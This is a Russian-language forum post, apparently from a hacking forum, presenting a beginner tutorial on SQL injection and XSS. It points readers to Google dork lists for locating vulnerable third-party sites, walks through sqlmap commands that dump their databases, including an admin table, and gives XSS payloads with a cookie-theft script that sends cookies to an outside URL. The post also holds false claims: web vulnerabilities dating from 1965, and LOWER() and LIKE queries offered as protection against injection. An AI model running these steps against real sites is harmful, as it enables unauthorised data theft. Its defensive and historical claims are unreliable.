Уязвимости web приложений. Часть 1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Всем добрый день!
т.к я начал свой путь в изучении уязвимостей web приложений, то хочу вставить свои 2 слова.
Это будет краткий экскурс для всех новичков(хотя надеюсь что будет полезно и для продвинутых)
В статье я буду начинать с самых азов, понемногу переходя к более сложным этапам.
Иногда в статье вы будете видеть подсчет символов - это копипаст. Это мне нужно для расчета итогового кол-ва + удобнее модераторам.


Спойлер: Содержание
  • Введение
    • Понятие уязвимостей
    • Актуальность темы
    • Краткая история
    • Какие бывают уязвимости
    • Что нужно для начала?
  • Основная часть
    • SQL-инъекции
    • XSS-атаки
  • Заключение
    • Рекомендации по защите

Введение
Понятие уязвимостей

Wiki:
В компьютерной безопасности термин «уязвимость» (англ. vulnerability, на сленге — дыра) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ, скриптовых и SQL-инъекций. Некоторые уязвимости известны только теоретически, другие же активно используются и имеют известные эксплойты.
(534 символа)
мое мнение:
Уязвимость - это ошибка и/или недостаток в какой-либо системе, которая используется хакером для получения доступа к системе с целью получения выгоды. (определение маленькое, но считаю что понятное)

Актуальность темы
Спойлер: Статистика(взята из открытых источников)
1704573829920.png

Посмотрим на статистику. Что мы там увидим? доля уязвимых веб-приложений остается довольно высокой, что означает высокую потребность в специалистах. Хотя в нашем же случае высокая доля уязвимых веб-приложений - только подруку.
Теперь немного углубимся. С каждым годом становится все больше того, что можно взломать -> становится больше уязвимостей -> становится больше возможностей.

Краткая история
Первые уязвимости веб-приложений были обнаружены в 1965 году.
В 2000-х годах веб-приложения стали более сложными и функциональными. Это привело к увеличению количества уязвимостей
В 2010-х годах количество и разнообразие веб-уязвимостей продолжали расти
В 2020-х годах так же продолжает расти.
Самым первым человеком нашедшим уязвимость стал Вильям Д. Мэтьюс в 1965 году.


Какие бывают уязвимости
  1. SQL-инъекции: это уязвимости, которые позволяют внедрять свой собственный код в SQL-запросы. Это может привести к утечке данных.
  2. Cross-site scripting (XSS): это уязвимости, которые позволяют внедрять вредоносный код в веб-страницу. Этот код может быть использован для кражи учетных данных пользователей.
  3. Уязвимости в безопасности API: это ошибки в API-интерфейсах веб-приложений, которые могут быть использованы для получения доступа к системе.
  4. Уязвимости в безопасности конфигурации: это ошибки в конфигурации веб-приложения, которые могут быть использованы для получения к системе.

Что нужно для начала?
Операционная система - тут на ваш вкус и цвет, но наиболее распространенной является Linux.(в ней я и буду приводить примеры)
Браузер - Chrome или FireFox
Софт - Burp Suite, OWASP ZAP, Nmap, SQLmap и многие другие. В статье мы рассмотрим некоторые из них.

Начнем с OC. Т.к я пишу статью для чайников, то никакие virtual box мы использовать не будем, и никакие VDS покупать тоже не будем.
Сперва откроем power shell от имени администратора и введем команду Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Заходим в Microsoft store и качаем Kali linux.

1704575504451.png


После установки заходим и настраиваем пользователя.
А почему только командная строка? потому что нужно установить kex
Вводим поочередно:
sudo apt update
sudo apt dist-upgrade
sudo apt install -y kali-win-kex
После установки вводим kex и получаем графический интерфейс.
Систему поставили, теперь можем переходить к основной части.


Основная часть
SQL-инъекции
Главный вопрос - как определить sql уязвимость? Здесь все достаточно просто, самый известный способ - подставить ' в запрос. Например: example.com/product.php?id=3'
Если уязвимость есть, то нам выведет ошибку, на подобии Kernel Error : 2 :: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home1/site/public_html/nuts2/system/db/mysql/mysqlconnection.php line 128
Еще одним способом является подставление выражения. Например:
example.com/product.php?id=1
example.com/product.php?id=1+1
если запросы возвращают одну и ту же страницу, то вероятно, что уязвимость есть.

В ручную все "взламывать" мы конечно же не будем. Используем sqlmap.
установка:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev/
./sqlmap.py --wizard
Перейдем к практике:
Первым делом нам нужно найти уязвимый сайт. Для этого мы можем использовать всеми любимые гугл дорки

Спойлер: Небольшой список гугл дорков
view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
Скрытый контент для пользователей групп Администратор, Модераторы.

main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
После того как нашли подходящий сайт и убедились что уязвимость в нем есть, можем приступать к великому взлому.
запускаем линукс, переходим в директорию с sqlmap и вводим команду:
python3 sqlmap.py -u "ваш сайт" --dbs
Если sqlmap нашел уязвимость, то он выведет список баз данных, например:
1704617451645.png


Теперь нам нужно узнать что вообще скрывают эти базы. Для этого мы тоже будем использовать sqlmap. Вводим команду:
python3 sqlmap.py -u "ваш сайт" -D ваша база -tables
1704617552173.png


Теперь нужно получить столбцы из нужной нам таблицы, я попробую получить из tbl_admin:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --columns
1704617701714.png


Так же мы можем получить все данные в этой таблице:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --dump
1704618007668.png


И так, мы получили то, что хотели. Теперь давайте разберем команды которые мы использовали:

  1. -u URL, используется для вставки целевого сайта
  2. -D DB, используется для вставки имени базы данных
  3. -Е table, используется для вставки имени таблицы
  4. --columns, используется для показа столбцов
  5. --tables, используется для показа таблиц
Думаю что на начальном этапе изучения этой информации по sql уязвимостям хватит. Все таки в 1 статью все не уместить, да и я сам не профи.
XSS-атаки
Предположим что есть сайт с полем для ввода каких либо данных. Этот сайт никак не фильтрует вводимые пользователем данные.
У меня есть самописный сайт, который я никак и не от чего не защищал. На нем есть поле ввода данных:

1704620071021.png


Что мы можем сделать для проверки на xss уязвимость? Ввести в поле скрипт:
<script>alert("XSS");</script>
После ввода нажмем на enter и получаем:
1704620110892.png


Это был самый простой пример xss уязвимости, давайте разберем чуть посложнее
xss уязвимости могут быть использованы для кражи куки файлов:
Для начала мы можем просто вывести наши куки <script>alert(document.cookie)</script>
1704621290176.png


т.к в js я на уровне старенького деда, то возьму уже готовый скрипт:

Спойлер: код
JavaScript: Скопировать в буфер обмена
Код:
<script>
function getCookies() {
  var cookies = document.cookie.split(";");

  for (var i = 0; i < cookies.length; i++) {

    var cookie = cookies[i].split("=");

    var name = cookie[0];
    var value = cookie[1];

    console.log(name + "=" + value);
  }
}

getCookies();

function sendCookies() {
  var xhr = new XMLHttpRequest();

  xhr.open("POST", "https://example.com/api/cookies");

  xhr.setRequestHeader("Content-Type", "application/json");

  var data = {
    cookies: cookies
  };
  xhr.send(JSON.stringify(data));
}

sendCookies();
</script>
К сожалению проверить на работоспособность я не смогу, но в качестве примера и общего понимания подойдет.


Заключение
Рекомендации по защите

  • Использование параметризованных запросов
  • Использование функций экранирования
  • Использование фильтров
  • Ограничение доступа к базе данных


параметризованные запросы:
SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username = :username
здесь переменная :username используется для передачи значения имени пользователя в запрос

Функции экранирования:
SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username = LOWER(:username)
Здесь функция LOWER() используется для преобразования имени пользователя в нижний регистр.
Использование фильтров:

SQL: Скопировать в буфер обмена
Код:
SELECT *
FROM users
WHERE username LIKE :username
используется фильтр LIKE, который проверяет, соответствует ли имя пользователя шаблону.
Это лишь малая часть способов защиты от sql-инъекций, на деле их куда больше.
Спасибо что прочитали, если статья понравится, то запилю вторую часть.
Скрытый контент для пользователей групп Администратор, Модераторы.

Скрытый контент для пользователей групп Администратор, Модераторы.
 
Сверху Снизу